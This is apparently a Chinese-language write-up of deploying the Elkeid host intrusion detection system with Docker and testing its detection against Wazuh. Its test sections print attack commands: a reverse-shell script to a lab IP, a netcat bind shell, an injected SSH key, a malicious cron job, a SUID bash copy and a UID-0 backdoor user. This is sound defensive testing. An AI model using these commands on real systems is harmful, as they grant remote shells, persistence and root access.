📘 文档目的与功能
本文档旨在记录开源主机入侵检测系统 (HIDS) Elkeid 社区版 的 Docker 一键部署流程、核心功能验证 以及 初步使用评估。
主要内容包括:
-
快速部署:基于 Docker 在单机上快速启动 Elkeid 社区版(All-in-One)。
-
功能验证:测试其入侵检测、漏洞扫描、基线检查、后门检测等核心安全能力。
-
评估对比:与同类开源 HIDS 方案(如 Wazuh)进行初步对比,总结其优势与待改进点。
注:本文档为 Elkeid 笔记(一):主机入侵检测。关于其容器与云原生工作负载的安全能力测试,见 Elkeid 笔记(二)。
一、 系统简介
Elkeid 是字节跳动开源的一款主机型入侵检测系统,采用 C/S 架构,支持主机、容器、Serverless 等多种工作负载。社区版提供基础功能,商业版功能更全。本次测试基于社区版 v1.9.1。
-
官网:
-
架构:传统 C/S 架构,在主机安装 Agent 上报数据至服务端。
二、 Docker 快速部署指南
测试环境:
- 服务端:CentOS 7.9 / Docker 25.0.3 / Elkeid v1.9.1(在ubuntu22/24上可能存在兼容问题)
- 客户端:Ubuntu 24.04、Centos 7.9、Centos 6
1. 导入镜像
从 GitHub Releases 下载分卷镜像包并合并导入。镜像较大(约3.4GB),导入后容器占用约9GB。
# 下载分卷压缩包
wget https://github.com/bytedance/Elkeid/releases/download/v1.9.1.4/elkeidup_image_v1.9.1.tar.gz.00
wget https://github.com/bytedance/Elkeid/releases/download/v1.9.1.4/elkeidup_image_v1.9.1.tar.gz.01
wget https://github.com/bytedance/Elkeid/releases/download/v1.9.1.4/elkeidup_image_v1.9.1.tar.gz.02
wget https://github.com/bytedance/Elkeid/releases/download/v1.9.1.4/elkeidup_image_v1.9.1.tar.gz.03
# 合并分卷
cat elkeidup_image_v1.9.1.tar.gz.* > elkeidup_image_v1.9.1.tar.gz
# 导入 Docker 镜像
docker load -i elkeidup_image_v1.9.1.tar.gz
2. 运行容器
docker run -d --name elkeid_community \
--restart=unless-stopped \
-v /sys/fs/cgroup:/sys/fs/cgroup:ro \
-p 8071:8071 -p 8072:8072 -p 8080:8080 \
-p 8081:8081 -p 8082:8082 -p 8089:8080 \
-p 8090:8090 -p 6754:6754 \
--privileged \
elkeid/all-in-one:v1.9.1
端口说明:
| 端口 | 用途 |
|---|---|
| 8082 | Elkeid Console 控制台 |
| 8081 | Elkeid HUB 前端 |
| 8080/8089 | 服务发现等内部通信 |
| 6754 | Agent Center(接收 K8s 审计日志) |
3. 配置对外 IP 与 Agent 初始化
# 进入容器
docker exec -it elkeid_community bash
# 进入配置目录
cd /root/.elkeidup/
# 配置你的服务端 IP(重要!)
./elkeidup public 192.168.20.223 # 替换为你的实际 IP
# 初始化 Agent 相关配置
./elkeidup agent init
./elkeidup agent build
./elkeidup agent policy create
# 查看各组件密码(务必保存)
cat ~/.elkeidup/elkeid_passwd
执行
./elkeidup public时,需阅读并接受信息收集声明(输入 y),并按提示输入邮箱(可选),部分安装过程截图:

4. 访问信息与初始账号
初始化完成后,密码文件
~/.elkeidup/elkeid_passwd中记录了所有组件的访问信息。|
组件
|
访问地址
|
账号/密码 (示例)
|
说明
|
|---|---|---|---|
|
Elkeid Console (主控台)
|
|
root / 7rkm95s09kl23o85diZP
|
资产管理、策略下发、告警中心
|
|
Elkeid Hub Frontend
|
|
elkeid_hub / 1do6n4end23kj52963RK
|
检测规则、数据查询平台
|
|
Grafana
|
|
admin / 7q83dm8715fn355b6d
|
监控数据可视化
|
|
Service Discovery
|
ip:8089
|
–
|
服务发现地址
|

重要提示:以上密码为镜像内置默认密码,请勿直接用于生产环境。
三、登录 Elkeid 控制台与安装 Agent
1. 访问控制台
浏览器访问 http://<你的服务端IP>:8082,使用上面获得的 root 账号密码登录。
2. 安装 Agent
Elkeid 社区版仅支持 Linux 客户端(商业版支持 Windows)。
- 在控制台进入
安装指南页面,复制生成的安装命令。 - 在需要监控的 Linux 主机上以 root 权限执行该命令。
安装成功后,在控制台 资产中心 即可看到上线的主机。

3. 功能预览

资产中心:查看主机列表、系统信息、资源占用等。

资产指纹:收集进程、端口、账号、软件包等详细信息。

四、 安全检测能力测试(主机安全)
1. 入侵检测(告警)测试
① 反连后门测试 ✅ 成功触发
模拟方式:在被测主机执行反向连接脚本bash_tcp_backdoor.sh
[root@Zookeeper tmp]# cat bash_tcp_backdoor.sh
#!/bin/bash
if netstat -ano|grep -v grep | grep "192.168.20.15">/dev/null
# Romote IP
then
echo "OK">/dev/null
else
/sbin/iptables --policy INPUT ACCEPT
/sbin/iptables --policy OUTPUT ACCEPT
# iptables allow
bash -i >& /dev/tcp/192.168.20.15/6666 0>&1
fi
#在20.15上监听端口 nc -l -v -p 6666
#在Zookeeper主机上执行该脚本
预期告警:反向 Shell / 异常外连。
测试结果:✅ 成功触发告警,Elkeid 能准确识别此类明显的恶意网络行为。

② Rootkit 后门测试 ✅ 成功触发
模拟方式:安装 Reptile-rootkit 和 Mafix rootkit 程序。
测试结果:✅ 成功触发告警,说明 Elkeid 对已知恶意软件特征有较好的识别能力。

③ SSH 爆破测试 ✅ 成功触发
模拟方式:使用 hydra 等工具对被测主机进行 SSH 密码爆破。
测试结果:✅ 成功触发告警,能够检测到高频失败登录尝试。

2. 漏洞检测 ❌ 能力有限
测试结果:与 Wazuh 相比,Elkeid 社区版能检测到的漏洞非常有限,仅覆盖少量常见漏洞情报。

3. 基线检测 ❌ 能力有限
测试结果:弱口令字典有限,不能手工添加自定义基线规则,灵活性不足。


4. 后门扫描(Webshell) ✅ 效果较好
测试结果:对各种一句话 Webshell 基本都能扫描到,Yara 规则引擎生效。

五、持久化与提权行为检测
1. 修改SSH授权密钥(持久化后门)
目的:验证是否能检测到.ssh/authorized_keys的异常写入。
# 在Ubuntu 24.04 agent机器上执行
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ... attacker@evil" >> ~/.ssh/authorized_keys
预期告警:
ssh_key_modified / 敏感文件篡改(中高危)检测结果:❌未检测到
2. 创建可疑定时任务(持久化)
目的:验证Cron任务创建是否告警。
# 写入恶意定时任务
(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/evil.sh") | crontab -
预期告警:
cron_job_added / 持久化行为(中危)检测结果:❌未检测到
3. SUID提权后门(权限提升)
目的:验证创建SUID文件是否触发告警。
# 复制bash并设置SUID
cp /bin/bash /tmp/bash_suid
chmod u+s /tmp/bash_suid
# 验证:/tmp/bash_suid -p (可提权)
预期告警:
suid_file_created / 可疑SUID文件(高危)检测结果:❌未检测到
4. 使用nc监听端口(后门监听)
目的:验证反向/正向Shell监听行为。
# 正向监听(等待连接)
nc -lvp 4444 -e /bin/bash
# 或反向连接
bash -i >& /dev/tcp/192.168.21.218/4444 0>&1
预期告警:
netcat_backdoor / 后门监听(高危)检测结果:❌未检测到
5. /etc/passwd新增用户(账号后门)
目的:验证敏感用户文件修改。
# 添加一个UID=0的后门用户
echo "backdoor:x:0:0:root:/root:/bin/bash" >> /etc/passwd
预期告警:
passwd_modified / 敏感账户变更(高危)检测结果:❌未检测到
六、总结对比与简评
1. 与 Wazuh 的横向对比

2. 适用场景建议
✅ Elkeid 社区版适合:
- 需要轻量级、快速部署的 HIDS 方案
- 主要关注明显的恶意行为(反弹 Shell、已知 Rootkit、Webshell)
- 对容器和 K8s 安全有原生需求的环境
❌ 不适合的场景:
- 需要深度漏洞管理和完整基线检查
- 需要检测持久化、提权、配置篡改等高级攻击
- 生产环境要求高覆盖率的安全检测
3. 总结
Elkeid 社区版是一款优秀的 入门级HIDS。它以极低的部署门槛和出色的容器适配性取胜,非常适合作为内部资产清点和基础安全防护的入口工具。但它也存在明确的能力边界:在深度漏洞挖掘与高级威胁检测(如持久化、提权)上存在明显盲区。
潜在风险:社区版 v1.9.1( 2023)年后未有版本迭代,开源生态活跃度不高,长期演进与技术支撑能力有待观察。
本文为主机篇实测,关于容器 / K8s 的防护预警能力将在下一篇《Elkeid 容器安全实践》中深度验证。